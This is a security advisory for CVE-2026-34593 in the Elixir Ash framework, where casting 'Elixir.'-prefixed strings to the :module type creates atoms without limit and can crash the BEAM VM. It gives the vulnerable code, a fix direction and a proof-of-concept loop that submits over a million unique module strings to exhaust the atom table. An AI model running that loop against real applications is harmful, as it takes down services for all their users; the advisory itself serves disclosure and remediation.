CVE-2026-34593

Description

## Summary `Ash.Type.Module.cast_input/2` unconditionally creates a new Erlang atom via `Module.concat([value])` for any user-supplied binary string that starts with `"Elixir."`, before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type `:module` can exhaust this table and crash the entire BEAM VM, taking down the application. ## Details **Setup**: A resource with a `:module`-typed attribute exposed to user input, which is a supported and documented usage of the `Ash.Type.Module` built-in type: ```elixir defmodule MyApp.Widget do use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer attributes do uuid_primary_key :id attribute :handler_module, :module, public?: true end actions do defaults [:read, :destroy] create :create do accept [:handler_module] end end end ``` **Vulnerable code** in `lib/ash/type/module.ex`, lines 105-113: ```elixir def cast_input("Elixir." <> _ = value, _) do module = Module.concat([value]) # <-- Creates new atom unconditionally if Code.ensure_loaded?(module) do {:ok, module} else :error # <-- Returns error but atom is already created end end ``` **Exploit**: Submit repeated `Ash.create` requests (e.g., via a JSON API endpoint) with unique `"Elixir.*"` strings: ```elixir # Attacker-controlled loop (or HTTP requests to an API endpoint) for i <- 1..1_100_000 do Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: "Elixir.Attack#{i}"}) |> Ash.create() # Each iteration: Module.concat(["Elixir.Attack#{i}"]) creates a new atom # cast_input returns :error but the atom :"Elixir.Attack#{i}" persists end # After ~1,048,576 unique strings: BEAM crashes with system_limit ``` **Contrast**: The non-`"Elixir."` path in the same function correctly uses `String.to_existing_atom/1`, which is safe because it only looks up atoms that already exist: ```elixir def cast_input(value, _) when is_binary(value) do atom = String.to_existing_atom(value) # safe - raises if atom doesn't exist ... end ``` **Additional occurrence**: `cast_stored/2` at line 141 contains the identical pattern, which is reachable when reading `:module`-typed values from the database if an attacker can write arbitrary `"Elixir.*"` strings to the relevant database column. ## Impact An attacker who can submit requests to any API endpoint backed by an Ash resource with a `:module`-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart. **Fix direction**: Replace `Module.concat([value])` with `String.to_existing_atom(value)` wrapped in a `rescue ArgumentError` block (as already done in the non-`"Elixir."` branch), or validate that the atom already exists before calling `Module.concat` by first attempting `String.to_existing_atom` and only falling back to `Module.concat` on success.

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